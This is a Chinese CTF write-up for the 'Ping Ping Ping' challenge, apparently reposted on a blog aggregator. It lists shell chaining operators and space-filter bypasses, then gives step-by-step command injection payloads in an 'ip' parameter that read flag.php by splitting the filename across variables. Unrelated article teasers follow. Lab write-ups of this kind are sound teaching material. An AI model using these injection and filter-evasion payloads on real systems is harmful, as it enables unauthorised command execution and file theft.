web——[GXYCTF2019]Ping Ping Ping1——过滤和绕过

devtools/2024/11/13 6:12:31/

0x00 考点


0、命令联合执行


;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)


1、命令绕过空格方法有:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS

<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

2、内联执行
内联,就是将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

原文链接:https://blog.csdn.net/vanarrow/article/details/108295481

这个题先ping一下,可以ping通,直接ls看看

0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip=127.0.0.1;ls

然后cat一下flag.php看看

wc,它骂我,额,,,是空格的过滤

0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip=127.0.0.1;cat{IFS}flag.php

也过滤了{},用$IFS$1代替

flag.php里没有东西

在index.php里找找

代码审计

过滤了许多的字符

1.源码中有一个$a可以覆盖

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php    没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php      过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php    有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

使用ctrl+u查看源码

2.

、变量ab互换传递,绕过字符串匹配,实现拼接

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php


http://www.ppmy.cn/devtools/133331.html

相关文章

PHP API的路由设计思路

PHP API的路由设计是构建高效、可维护API的关键环节。以下是一套完整的PHP API路由设计思路&#xff1a; 一、明确设计原则 使用统一资源标识符&#xff08;URI&#xff09;&#xff1a;通过URI来标识资源&#xff0c;确保每个资源都有一个唯一的地址。使用HTTP方法&#xff…

智慧城市路面垃圾识别系统产品介绍方案

方案介绍 智慧城市中的路面垃圾识别算法通常基于深度学习框架&#xff0c;这些算法因其在速度和精度上的优势而被广泛采用。这些模型能够通过训练识别多种类型的垃圾&#xff0c;包括塑料袋、纸屑、玻璃瓶等。系统通过训练深度学习模型&#xff0c;使其能够识别并定位多种类型…

Docker:镜像构建 DockerFile

Docker&#xff1a;镜像构建 DockerFile 镜像构建docker build DockerfileFROMCOPYENVWORKDIRADDRUNCMDENTRYPOINTUSERARGVOLUME 镜像构建 在Docker官方提供的镜像中&#xff0c;大部分都是基础镜像&#xff0c;他们只提供某个简单的功能&#xff0c;如果想要一个功能更加丰富…

设计模式介绍

设计模式通常包含以下几个要素&#xff1a; 1. 模式名称&#xff1a;每个设计模式都有一个独特的名称&#xff0c;用于标识该模式。 2. 问题&#xff1a;描述了在何种情况下使用该设计模式&#xff0c;以及使用该模式需要解决的具体问题。 3. 解决方案&#xff1a;提供了针对上…

Java中Properties的使用详解

在Java编程中&#xff0c;配置文件扮演着至关重要的角色。它们允许开发者在不修改代码的情况下调整程序的行为。Properties类是Java提供的一个便捷工具&#xff0c;用于读取和写入配置文件&#xff0c;特别是.properties文件。本文将详细介绍如何在Java中使用Properties类。 一…

在线绘制带community的蛋白质-蛋白质相互作用(PPI)网络图

导读&#xff1a;分子相互作用网络图揭示了细胞内部分子间的复杂相互作用。通过识别网络中密集连接的节点所形成的社区&#xff08;community&#xff09;&#xff0c;可以揭示它们之间以前未知的功能联系。这些社区可能代表了具有共同功能的功能模块&#xff0c;对于理解细胞生…

青少年编程与数学 02-003 Go语言网络编程 20课题、Go语言常用框架

青少年编程与数学 02-003 Go语言网络编程 20课题、Go语言常用框架 课题摘要:一、常用框架Web框架微服务框架数据库ORM框架测试框架工具和库 二、GinGin的主要特点包括&#xff1a;Gin的基本使用&#xff1a;Gin的中间件&#xff1a;Gin的路由分组&#xff1a; 三、BeegoBeego的…

分布式——BASE理论

简单来说&#xff1a; BASE&#xff08;Basically Available、Soft state、Eventual consistency&#xff09;是基于CAP理论逐步演化而来的&#xff0c;核心思想是即便不能达到强一致性&#xff08;Strong consistency&#xff09;&#xff0c;也可以根据应用特点采用适当的方…